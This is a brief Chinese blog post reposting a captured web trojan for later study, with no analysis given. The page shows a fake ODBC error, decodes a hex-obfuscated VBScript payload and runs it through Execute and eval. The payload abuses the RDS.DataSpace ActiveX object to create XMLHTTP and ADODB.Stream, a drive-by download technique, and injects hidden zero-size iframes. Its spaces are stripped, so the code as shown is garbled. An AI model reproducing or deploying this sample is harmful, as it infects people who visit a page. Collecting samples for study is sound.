js eval木马代码,以后再分析吧
2018-09-24 21:52
从下面的木马中,发现的书写js的另一方法
[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
复制代码 代码如下:
<html>
<body>
<scripttype=text/jscript>
functioninit(){
document.write(MicrosoftOLEDBProviderforODBCDrivers错误80004005);}
window.onload=init;
</script>
<scriptlanguage=VBScript>
S=0d202020206f6e206572726f7220726573756d65206e6578740d202020205365742073696e61203d20646f63756d656e742e637265617465456c656d656e7428226f626a65637422290d2020202073696e612e7365744174747269627574652022636c6173736964222c2022636c7369643a42443936433535362d363541332d313144302d393833412d303043303446433239453336220d20202020536574206261696475203d2073696e612e4372656174654f626a65637428224d6963726f736f66742e584d4c48545450222c2222290d20202020676f6f67313d2241646f220d20202020676f6f67323d2264622e220d20202020676f6f67333d22537472220d20202020676f6f67343d2265616d220d20202020676f6f743d676f6f673126676f6f673226676f6f673326676f6f67340d20202020706f733d676f6f740d20202020536574206e5053203d2073696e612e4372656174654f626a65637428706f732c2222290d6966204e6f74204572722e4e756d626572203d2030207468656e0d6572722e636c6561720d646f63756d656e742e77726974652028223c696672616d65207372633d676f6f676c652e68746d2077696474683d30206865696768743d303e22290d656c73650d646f63756d656e742e77726974652028223c696672616d65207372633d42414944552e68746d2077696474683d30206865696768743d303e22290d656e642069660d
flag_type=vbs
D=
DOWHILELEN(S)>1
k=&H+LEFT(S,2)
p=CLng(k)
m=chr(p)
D=D&m
S=MID(S,3)
LOOP
ifflag_type=vbsthen
EXECUTED
endif
</script>
<scriptlanguage=javaScript>
if(flag_type==js){
eval(D);}
</script>
</body>
</html>